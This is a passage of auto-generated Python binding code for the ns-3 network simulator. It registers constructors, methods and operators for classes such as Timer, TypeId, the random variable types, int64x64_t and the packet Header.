## timer.h (module 'core'): ns3::Timer::Timer(ns3::Timer::DestroyPolicy destroyPolicy) [constructor]
cls.add_constructor([param('ns3::Timer::DestroyPolicy', 'destroyPolicy')])
## timer.h (module 'core'): void ns3::Timer::Cancel() [member function]
cls.add_method('Cancel',
'void',
[])
## timer.h (module 'core'): ns3::Time ns3::Timer::GetDelay() const [member function]
cls.add_method('GetDelay',
'ns3::Time',
[],
is_const=True)
## timer.h (module 'core'): ns3::Time ns3::Timer::GetDelayLeft() const [member function]
cls.add_method('GetDelayLeft',
'ns3::Time',
[],
is_const=True)
## timer.h (module 'core'): ns3::Timer::State ns3::Timer::GetState() const [member function]
cls.add_method('GetState',
'ns3::Timer::State',
[],
is_const=True)
## timer.h (module 'core'): bool ns3::Timer::IsExpired() const [member function]
cls.add_method('IsExpired',
'bool',
[],
is_const=True)
## timer.h (module 'core'): bool ns3::Timer::IsRunning() const [member function]
cls.add_method('IsRunning',
'bool',
[],
is_const=True)
## timer.h (module 'core'): bool ns3::Timer::IsSuspended() const [member function]
cls.add_method('IsSuspended',
'bool',
[],
is_const=True)
## timer.h (module 'core'): void ns3::Timer::Remove() [member function]
cls.add_method('Remove',
'void',
[])
## timer.h (module 'core'): void ns3::Timer::Resume() [member function]
cls.add_method('Resume',
'void',
[])
## timer.h (module 'core'): void ns3::Timer::Schedule() [member function]
cls.add_method('Schedule',
'void',
[])
## timer.h (module 'core'): void ns3::Timer::Schedule(ns3::Time delay) [member function]
cls.add_method('Schedule',
'void',
[param('ns3::Time', 'delay')])
## timer.h (module 'core'): void ns3::Timer::SetDelay(ns3::Time const & delay) [member function]
cls.add_method('SetDelay',
'void',
[param('ns3::Time const &', 'delay')])
## timer.h (module 'core'): void ns3::Timer::Suspend() [member function]
cls.add_method('Suspend',
'void',
[])
return
def register_Ns3TimerImpl_methods(root_module, cls):
## timer-impl.h (module 'core'): ns3::TimerImpl::TimerImpl() [constructor]
cls.add_constructor([])
## timer-impl.h (module 'core'): ns3::TimerImpl::TimerImpl(ns3::TimerImpl const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TimerImpl const &', 'arg0')])
## timer-impl.h (module 'core'): void ns3::TimerImpl::Invoke() [member function]
cls.add_method('Invoke',
'void',
[],
is_pure_virtual=True, is_virtual=True)
## timer-impl.h (module 'core'): ns3::EventId ns3::TimerImpl::Schedule(ns3::Time const & delay) [member function]
cls.add_method('Schedule',
'ns3::EventId',
[param('ns3::Time const &', 'delay')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3TriangularVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::TriangularVariable::TriangularVariable(ns3::TriangularVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TriangularVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::TriangularVariable::TriangularVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::TriangularVariable::TriangularVariable(double s, double l, double mean) [constructor]
cls.add_constructor([param('double', 's'), param('double', 'l'), param('double', 'mean')])
return
def register_Ns3TypeId_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## type-id.h (module 'core'): ns3::TypeId::TypeId(char const * name) [constructor]
cls.add_constructor([param('char const *', 'name')])
## type-id.h (module 'core'): ns3::TypeId::TypeId() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::TypeId(ns3::TypeId const & o) [copy constructor]
cls.add_constructor([param('ns3::TypeId const &', 'o')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('AddAttribute',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, uint32_t flags, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('AddAttribute',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('uint32_t', 'flags'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor) [member function]
cls.add_method('AddTraceSource',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor')])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation ns3::TypeId::GetAttribute(uint32_t i) const [member function]
cls.add_method('GetAttribute',
'ns3::TypeId::AttributeInformation',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetAttributeFullName(uint32_t i) const [member function]
cls.add_method('GetAttributeFullName',
'std::string',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): uint32_t ns3::TypeId::GetAttributeN() const [member function]
cls.add_method('GetAttributeN',
'uint32_t',
[],
is_const=True)
## type-id.h (module 'core'): ns3::Callback<ns3::ObjectBase*,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ns3::TypeId::GetConstructor() const [member function]
cls.add_method('GetConstructor',
'ns3::Callback< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetGroupName() const [member function]
cls.add_method('GetGroupName',
'std::string',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetName() const [member function]
cls.add_method('GetName',
'std::string',
[],
is_const=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::GetParent() const [member function]
cls.add_method('GetParent',
'ns3::TypeId',
[],
is_const=True)
## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::GetRegistered(uint32_t i) [member function]
cls.add_method('GetRegistered',
'ns3::TypeId',
[param('uint32_t', 'i')],
is_static=True)
## type-id.h (module 'core'): static uint32_t ns3::TypeId::GetRegisteredN() [member function]
cls.add_method('GetRegisteredN',
'uint32_t',
[],
is_static=True)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation ns3::TypeId::GetTraceSource(uint32_t i) const [member function]
cls.add_method('GetTraceSource',
'ns3::TypeId::TraceSourceInformation',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): uint32_t ns3::TypeId::GetTraceSourceN() const [member function]
cls.add_method('GetTraceSourceN',
'uint32_t',
[],
is_const=True)
## type-id.h (module 'core'): uint16_t ns3::TypeId::GetUid() const [member function]
cls.add_method('GetUid',
'uint16_t',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::HasConstructor() const [member function]
cls.add_method('HasConstructor',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::HasParent() const [member function]
cls.add_method('HasParent',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::HideFromDocumentation() [member function]
cls.add_method('HideFromDocumentation',
'ns3::TypeId',
[])
## type-id.h (module 'core'): bool ns3::TypeId::IsChildOf(ns3::TypeId other) const [member function]
cls.add_method('IsChildOf',
'bool',
[param('ns3::TypeId', 'other')],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::LookupAttributeByName(std::string name, ns3::TypeId::AttributeInformation * info) const [member function]
cls.add_method('LookupAttributeByName',
'bool',
[param('std::string', 'name'), param('ns3::TypeId::AttributeInformation *', 'info')],
is_const=True)
## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByName(std::string name) [member function]
cls.add_method('LookupByName',
'ns3::TypeId',
[param('std::string', 'name')],
is_static=True)
## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name) const [member function]
cls.add_method('LookupTraceSourceByName',
'ns3::Ptr< ns3::TraceSourceAccessor const >',
[param('std::string', 'name')],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::MustHideFromDocumentation() const [member function]
cls.add_method('MustHideFromDocumentation',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::SetAttributeInitialValue(uint32_t i, ns3::Ptr<ns3::AttributeValue const> initialValue) [member function]
cls.add_method('SetAttributeInitialValue',
'bool',
[param('uint32_t', 'i'), param('ns3::Ptr< ns3::AttributeValue const >', 'initialValue')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetGroupName(std::string groupName) [member function]
cls.add_method('SetGroupName',
'ns3::TypeId',
[param('std::string', 'groupName')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent(ns3::TypeId tid) [member function]
cls.add_method('SetParent',
'ns3::TypeId',
[param('ns3::TypeId', 'tid')])
## type-id.h (module 'core'): void ns3::TypeId::SetUid(uint16_t tid) [member function]
cls.add_method('SetUid',
'void',
[param('uint16_t', 'tid')])
return
def register_Ns3TypeIdAttributeInformation_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation(ns3::TypeId::AttributeInformation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeId::AttributeInformation const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::accessor [variable]
cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::AttributeAccessor const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::checker [variable]
cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::flags [variable]
cls.add_instance_attribute('flags', 'uint32_t', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::help [variable]
cls.add_instance_attribute('help', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::initialValue [variable]
cls.add_instance_attribute('initialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::originalInitialValue [variable]
cls.add_instance_attribute('originalInitialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False)
return
def register_Ns3TypeIdTraceSourceInformation_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation(ns3::TypeId::TraceSourceInformation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeId::TraceSourceInformation const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::accessor [variable]
cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::TraceSourceAccessor const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::help [variable]
cls.add_instance_attribute('help', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
return
def register_Ns3UniformVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::UniformVariable::UniformVariable(ns3::UniformVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::UniformVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::UniformVariable::UniformVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::UniformVariable::UniformVariable(double s, double l) [constructor]
cls.add_constructor([param('double', 's'), param('double', 'l')])
## random-variable.h (module 'core'): uint32_t ns3::UniformVariable::GetInteger(uint32_t s, uint32_t l) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 's'), param('uint32_t', 'l')])
## random-variable.h (module 'core'): double ns3::UniformVariable::GetValue() const [member function]
cls.add_method('GetValue',
'double',
[],
is_const=True)
## random-variable.h (module 'core'): double ns3::UniformVariable::GetValue(double s, double l) [member function]
cls.add_method('GetValue',
'double',
[param('double', 's'), param('double', 'l')])
return
def register_Ns3WeibullVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::WeibullVariable::WeibullVariable(ns3::WeibullVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::WeibullVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::WeibullVariable::WeibullVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::WeibullVariable::WeibullVariable(double m) [constructor]
cls.add_constructor([param('double', 'm')])
## random-variable.h (module 'core'): ns3::WeibullVariable::WeibullVariable(double m, double s) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 's')])
## random-variable.h (module 'core'): ns3::WeibullVariable::WeibullVariable(double m, double s, double b) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 's'), param('double', 'b')])
return
def register_Ns3ZetaVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ZetaVariable::ZetaVariable(ns3::ZetaVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ZetaVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ZetaVariable::ZetaVariable(double alpha) [constructor]
cls.add_constructor([param('double', 'alpha')])
## random-variable.h (module 'core'): ns3::ZetaVariable::ZetaVariable() [constructor]
cls.add_constructor([])
return
def register_Ns3ZipfVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ZipfVariable::ZipfVariable(ns3::ZipfVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ZipfVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ZipfVariable::ZipfVariable(long int N, double alpha) [constructor]
cls.add_constructor([param('long int', 'N'), param('double', 'alpha')])
## random-variable.h (module 'core'): ns3::ZipfVariable::ZipfVariable() [constructor]
cls.add_constructor([])
return
def register_Ns3Empty_methods(root_module, cls):
## empty.h (module 'core'): ns3::empty::empty() [constructor]
cls.add_constructor([])
## empty.h (module 'core'): ns3::empty::empty(ns3::empty const & arg0) [copy constructor]
cls.add_constructor([param('ns3::empty const &', 'arg0')])
return
def register_Ns3Int64x64_t_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_inplace_numeric_operator('+=', param('ns3::int64x64_t const &', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long unsigned int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long unsigned int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short unsigned int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned char const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short int const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('signed char const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('double const', 'right'))
cls.add_binary_numeric_operator('*', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long unsigned int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long unsigned int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short unsigned int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned char const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short int const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('signed char const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('double const', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long unsigned int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long unsigned int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short unsigned int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned char const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short int const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('signed char const', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('double const', 'right'))
cls.add_unary_numeric_operator('-')
cls.add_binary_numeric_operator('-', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long unsigned int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long unsigned int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short unsigned int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('unsigned char const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long long int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('long int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('short int const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('signed char const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('double const', 'right'))
cls.add_binary_numeric_operator('/', root_module['ns3::int64x64_t'], root_module['ns3::int64x64_t'], param('ns3::int64x64_t const &', 'right'))
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('>')
cls.add_inplace_numeric_operator('*=', param('ns3::int64x64_t const &', 'right'))
cls.add_inplace_numeric_operator('-=', param('ns3::int64x64_t const &', 'right'))
cls.add_inplace_numeric_operator('/=', param('ns3::int64x64_t const &', 'right'))
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>=')
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t() [constructor]
cls.add_constructor([])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(double v) [constructor]
cls.add_constructor([param('double', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int v) [constructor]
cls.add_constructor([param('int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long int v) [constructor]
cls.add_constructor([param('long int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long int v) [constructor]
cls.add_constructor([param('long long int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(unsigned int v) [constructor]
cls.add_constructor([param('unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long unsigned int v) [constructor]
cls.add_constructor([param('long unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(long long unsigned int v) [constructor]
cls.add_constructor([param('long long unsigned int', 'v')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(int64_t hi, uint64_t lo) [constructor]
cls.add_constructor([param('int64_t', 'hi'), param('uint64_t', 'lo')])
## int64x64-double.h (module 'core'): ns3::int64x64_t::int64x64_t(ns3::int64x64_t const & o) [copy constructor]
cls.add_constructor([param('ns3::int64x64_t const &', 'o')])
## int64x64-double.h (module 'core'): double ns3::int64x64_t::GetDouble() const [member function]
cls.add_method('GetDouble',
'double',
[],
is_const=True)
## int64x64-double.h (module 'core'): int64_t ns3::int64x64_t::GetHigh() const [member function]
cls.add_method('GetHigh',
'int64_t',
[],
is_const=True)
## int64x64-double.h (module 'core'): uint64_t ns3::int64x64_t::GetLow() const [member function]
cls.add_method('GetLow',
'uint64_t',
[],
is_const=True)
## int64x64-double.h (module 'core'): static ns3::int64x64_t ns3::int64x64_t::Invert(uint64_t v) [member function]
cls.add_method('Invert',
'ns3::int64x64_t',
[param('uint64_t', 'v')],
is_static=True)
## int64x64-double.h (module 'core'): void ns3::int64x64_t::MulByInvert(ns3::int64x64_t const & o) [member function]
cls.add_method('MulByInvert',
'void',
[param('ns3::int64x64_t const &', 'o')])
return
def register_Ns3Chunk_methods(root_module, cls):
## chunk.h (module 'network'): ns3::Chunk::Chunk() [constructor]
cls.add_constructor([])
## chunk.h (module 'network'): ns3::Chunk::Chunk(ns3::Chunk const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Chunk const &', 'arg0')])
## chunk.h (module 'network'): uint32_t ns3::Chunk::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_virtual=True)
## chunk.h (module 'network'): static ns3::TypeId ns3::Chunk::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## chunk.h (module 'network'): void ns3::Chunk::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3ConstantVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ConstantVariable::ConstantVariable(ns3::ConstantVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ConstantVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ConstantVariable::ConstantVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::ConstantVariable::ConstantVariable(double c) [constructor]
cls.add_constructor([param('double', 'c')])
## random-variable.h (module 'core'): void ns3::ConstantVariable::SetConstant(double c) [member function]
cls.add_method('SetConstant',
'void',
[param('double', 'c')])
return
def register_Ns3DeterministicVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::DeterministicVariable::DeterministicVariable(ns3::DeterministicVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DeterministicVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::DeterministicVariable::DeterministicVariable(double * d, uint32_t c) [constructor]
cls.add_constructor([param('double *', 'd'), param('uint32_t', 'c')])
return
def register_Ns3EmpiricalVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::EmpiricalVariable::EmpiricalVariable(ns3::EmpiricalVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EmpiricalVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::EmpiricalVariable::EmpiricalVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): void ns3::EmpiricalVariable::CDF(double v, double c) [member function]
cls.add_method('CDF',
'void',
[param('double', 'v'), param('double', 'c')])
return
def register_Ns3ErlangVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ErlangVariable::ErlangVariable(ns3::ErlangVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ErlangVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ErlangVariable::ErlangVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::ErlangVariable::ErlangVariable(unsigned int k, double lambda) [constructor]
cls.add_constructor([param('unsigned int', 'k'), param('double', 'lambda')])
## random-variable.h (module 'core'): double ns3::ErlangVariable::GetValue() const [member function]
cls.add_method('GetValue',
'double',
[],
is_const=True)
## random-variable.h (module 'core'): double ns3::ErlangVariable::GetValue(unsigned int k, double lambda) const [member function]
cls.add_method('GetValue',
'double',
[param('unsigned int', 'k'), param('double', 'lambda')],
is_const=True)
return
def register_Ns3ExponentialVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::ExponentialVariable::ExponentialVariable(ns3::ExponentialVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ExponentialVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::ExponentialVariable::ExponentialVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::ExponentialVariable::ExponentialVariable(double m) [constructor]
cls.add_constructor([param('double', 'm')])
## random-variable.h (module 'core'): ns3::ExponentialVariable::ExponentialVariable(double m, double b) [constructor]
cls.add_constructor([param('double', 'm'), param('double', 'b')])
return
def register_Ns3GammaVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::GammaVariable::GammaVariable(ns3::GammaVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::GammaVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::GammaVariable::GammaVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::GammaVariable::GammaVariable(double alpha, double beta) [constructor]
cls.add_constructor([param('double', 'alpha'), param('double', 'beta')])
## random-variable.h (module 'core'): double ns3::GammaVariable::GetValue() const [member function]
cls.add_method('GetValue',
'double',
[],
is_const=True)
## random-variable.h (module 'core'): double ns3::GammaVariable::GetValue(double alpha, double beta) const [member function]
cls.add_method('GetValue',
'double',
[param('double', 'alpha'), param('double', 'beta')],
is_const=True)
return
def register_Ns3Header_methods(root_module, cls):
cls.add_output_stream_operator()
## header.h (module 'network'): ns3::Header::Header() [constructor]
cls.add_constructor([])
## header.h (module 'network'): ns3::Header::Header(ns3::Header const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Header const &', 'arg0')])
## header.h (module 'network'): uint32_t ns3::Header::Deserialize(ns3::Buffer::Iterator start) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_virtual=True)
## header.h (module 'network'): uint32_t ns3::Header::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## header.h (module 'network'): static ns3::TypeId ns3::Header::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## header.h (module 'network'): void ns3::Header::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## header.h (module 'network'): void ns3::Header::Serialize(ns3::Buffer::Iterator start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator', 'start')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3Icmpv4DestinationUnreachable_methods(root_module, cls):
